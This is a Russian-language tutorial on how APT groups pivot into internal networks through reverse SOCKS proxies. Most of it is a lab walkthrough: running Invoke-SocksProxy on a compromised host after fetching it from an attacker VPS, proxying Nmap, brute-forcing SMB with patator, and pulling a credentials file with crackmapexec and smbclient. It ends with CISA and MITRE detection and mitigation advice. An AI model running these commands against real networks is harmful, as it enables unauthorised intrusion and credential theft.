Как APT используют обратные прокси-серверы для Nmap-сканирования внутренних сетей

Поскольку обратные прокси-серверы могут обходить ограничения брандмауэра на входящий трафик, злоумышленники, планирующие APT, используют их для pivot-атак на защищенные среды. К примеру, не так давно жертвой такой атаки стала корпоративная сеть федерального агентства. Злоумышленники использовали модификацию Invoke-SocksProxy — скрипта с открытым исходным кодом для работы с обратными прокси, который можно найти на GitHub. Вот что пишет по этому поводу Агентство по кибербезопасности и инфраструктуре (СISA): Злоумышленник установил Persistence и C2 в сети жертвы через постоянный туннель SSH/обратный прокси-сервер SOCKS… Скрипт PowerShell [Invoke-SocksProxy.ps1] создал обратный прокси-сервер SMB SOCKS, который разрешил устанавливать соединения между управляемым злоумышленником VPS… и файловым сервером организации, выбранной в качестве жертвы… Invoke-SocksProxy.ps1 создает обратный прокси-сервер между локальным устройством и инфраструктурой хакера…

Что такое обратный прокси-сервер?

Согласно определению MITER ATT & CK Framework:

Злоумышленники могут использовать прокси-сервер для направления сетевого трафика между системами или выступать посредником в передаче данных по сети... чтобы не позволить напрямую подключиться к своей инфраструктуре... Злоумышленники используют эти типы прокси-серверов для управления инфраструктурой C2 [или] для уменьшения количества одновременных исходящих сетевых подключений… Злоумышленники могут объединить несколько прокси-серверов в цепочку, чтобы тщательнее замаскировать источник вредоносного трафика…

Настройка атаки

Топология сети включает несколько локально подключенных устройств (172.16.0.1/24). Для простоты понимания предположим, что злоумышленник установил обратную оболочку на хосте A (172.16.0.3) с вредоносным документом Word (см. ниже). При таком уровне компрометации система Kali злоумышленника не может напрямую взаимодействовать с серверами SMB и HTTP. Его цель — обнаружить службы на 172.16.0.1/24 при использовании хоста A в качестве прокси.

В данном примере скомпрометированный хост подключается к виртуальному выделенному серверу (VPS) злоумышленника с помощью прослушивания через утилиту Netcat по TCP/4444 (как показано ниже). Соединение Netcat должно оставаться открытым — это будет важно на более позднем этапе.

В Kali запускаем новый терминал и подключаемся по SSH к VPS. С помощью команды su получаем оболочку с привилегиями root.

Используя приведенную ниже команду, копируем наш архив Invoke-SocksProxy. В нем два файла: ReverseSocksProxyHandler.py и Invoke-SocksProxy.ps1.

root@vps > cd /opt; git clone https://github.com/tokyoneon/Invoke-SocksProxy

Скрипт ReverseSocksProxyHandler.py откроет порты 443 и 1337. Порт 443 будет принимать входящие соединения от хоста A. Порт 1337 будет работать как порт прокси-сервера, настроенный с помощью proxychains в Kali. При выполнении появится следующий результат. Терминал всё время атаки должен оставаться открытым.

root@vps> cd /opt /Invoke-SocksProxy;./ReverseSocksProxyHandler.py

Скрипт Invoke-SocksProxy.ps1 должен быть запущен на скомпрометированном хосте. Повторно запускаем новый терминал в Kali и подключаемся по SSH к VPS. В Invoke-SocksProxy.ps1 меняем жестко запрограммированный адрес VPS в Invoke-SocksProxy.ps1 и размещаем его на HTTP-сервере (например, Apache, Nginx или http.server).

На терминале Netcat переходим в каталог $env:TEMP на хосте A. Затем загружаем с VPS Invoke-SocksProxy.ps1 и запускаем его. Он не будет выводить данные и должен оставаться открытым. Чтобы автоматизировать выполнение реального сценария, злоумышленник может использовать запланированные задания. Оставим терминал открытым — так будет легче понять, что происходит.

Ps > cd $env:TEMP

Ps > iwr 192.168.56.102/Invoke-SocksProxy.ps1 -outfile isp.ps1

Ps > .\isp.ps1

В Kali устанавливаем proxychains4 и редактируем файл /etc/proxychains4.conf. В конце файла конфигурации прописываем адрес VPS и порт 1337.

sudo apt-get install -y proxychains4 && sudo nano /etc/proxychains4.conf

Вот и всё, атака подготовлена. С помощью ReverseSocksProxyHandler и Invoke-SocksProxy, запущенных на VPS и хосте A, можно атаковать внутреннюю сеть через прокси.

Прокси Nmap и Crackmapexec с Proxychains

При использовании Nmap с Proxychains нужно помнить о некоторых ограничениях. Например, у Nmap не получится обнаружить хост — утилита не сможет выполнить "пингование" (ICMP) через SOCKS5. Несмотря на это, обнаруживать службы и порты она будет по-прежнему эффективно (хотя и не так быстро, поскольку нужно будет полностью сканировать TCP).

Нижеописанная команда Nmap выполнит сканирование с использованием TCP-соединений (-sT), не обнаруживая при этом хосты (-Pn) и не выполняя разрешение DNS имен (-n). Эти аргументы необходимы для использования Nmap с Proxychains. Обратите внимание на SMB-сервер на 172.16.0.4:445 и HTTP-сервер на 172.16.0.115:80.

proxychains nmap -sT -Pn -n -p445,139,88,80 172.16.0.4,115

Чтобы проксировать атаки методом перебора, используем приведенную ниже команду patator. Сообщения Proxychains будут конфликтовать с сообщениями, выводимыми Patator; чтобы их блокировать, используем аргумент -q. Обратите внимание на пароль ("Passw0rd!"), обнаруженный во время атаки.

proxychains -q patator smb_login host=172.16.0.4 port=445 user=victim2 password=FILE0 0=/usr/share/wordlists/nmap.lst -t 1 -x ignore:mesg=’STATUS_LOGON_FAILURE’

Чтобы просмотреть общие ресурсы на скомпрометированном сервере SMB, используем приведенную ниже команду crackmapexec, вставив обнаруженный пароль. Обратите внимание на общий ресурс "Private" с разрешениями на чтение и запись.

proxychains crackmapexec smb 172.16.0.4 -u ‘victim2’ -p ‘Passw0rd!’ –shares

Чтобы получить доступ к его содержимому, используем команду smbclient для просмотра желаемого каталога (в данном случае "/Private"). Обратите внимание на файл credentials.txt в общей папке. В smbclient используем команду get, чтобы получить файл и сохранить его локально в Kali.

proxychains smbclient //172.16.0.4/Private -U ‘victim2%Passw0rd!’

Точно так же аналогичные команды proxychains предоставляют доступ к HTTP-серверам. Однако в Firefox есть встроенные функции, благодаря которым удобнее взаимодействовать с прокси.

Открываем Firefox в Kali, переходим в меню: Настройки > Параметры сети > Настроить и настраиваем IP-адрес и порт VPS в разделе SOCKS Host (узел SOCKS) (как показано ниже). Нажимаем ОК, чтобы сохранить конфигурацию.

Затем открываем новую вкладку и заходим на любой HTTP-сервер во внутренней сети (например, 172.16.0.115:80).

Судя по журналам HTTP-сервера на 172.16.0.115, запросы, исходят от 172.16.0.3 (хост A), то есть скомпрометированного хоста.

Обнаружение и минимизация рисков

MITER ATT&CK Framework рекомендует следующее:

Анализируйте сетевые данные на предмет нетипичных или аномальных потоков данных. Например, клиенты отправляют значительно больше данных, чем получают от серверов, которые обычно взаимодействуют друг с другом редко либо не должны этого делать вообще. Подозрительно, когда сеть использует процессы, которые обычно не связаны с ней или никогда ранее не наблюдались. Анализируйте содержимое пакетов, чтобы обнаружить соединения, которые не соответствуют предполагаемым правилам, существующим для протокола используемого порта.

Фильтрация сетевого трафика: трафик в известные анонимные сети и инфраструктуру управления и контроля можно заблокировать с помощью черных и белых сетевых списков. Следует отметить, что такого рода блокировку можно обойти с помощью других методов, например, метода прикрытия доменом (Domain Fronting).
Предотвращение вторжений в сеть: сдерживать активность на сетевом уровне помогут системы обнаружения и предотвращения вторжений в сеть, которые определяют трафик конкретных вредоносных программ с помощью сетевых сигнатур. C2 Уникальные индикаторы часто используют в протоколах сигнатуры, которые могут быть основаны на конкретном протоколе C2 конкретного злоумышленника или инструмента. Такие сигнатуры, вероятно, будут различаться для разных семейств и версий вредоносных программ. Возможно, злоумышленники со временем изменят сигнатуры инструментов C2 или построят протоколы таким образом, чтобы избежать обнаружения обычными защитными инструментами.
Проверка SSL/TLS: если есть возможность изучать трафик HTTPS, можно проверить, нет ли в собранных данных подключений, которые напоминают прикрытие доменом.

Для дополнительной информации, CISA рекомендует организациям применять следующие методы:

Использовать многофакторную аутентификацию, особенно для привилегированных учетных записей;
Использовать отдельные административные учетные записи на отдельных административных рабочих станциях;
Применять принципы наименьших привилегий для доступа к данным;
Защищать RDP и другие решения удаленного доступа с помощью многофакторной аутентификации и jump-сервера;
Внедрять и поддерживать средства защиты на всех конечных точках;
Своевременно обновлять ПО.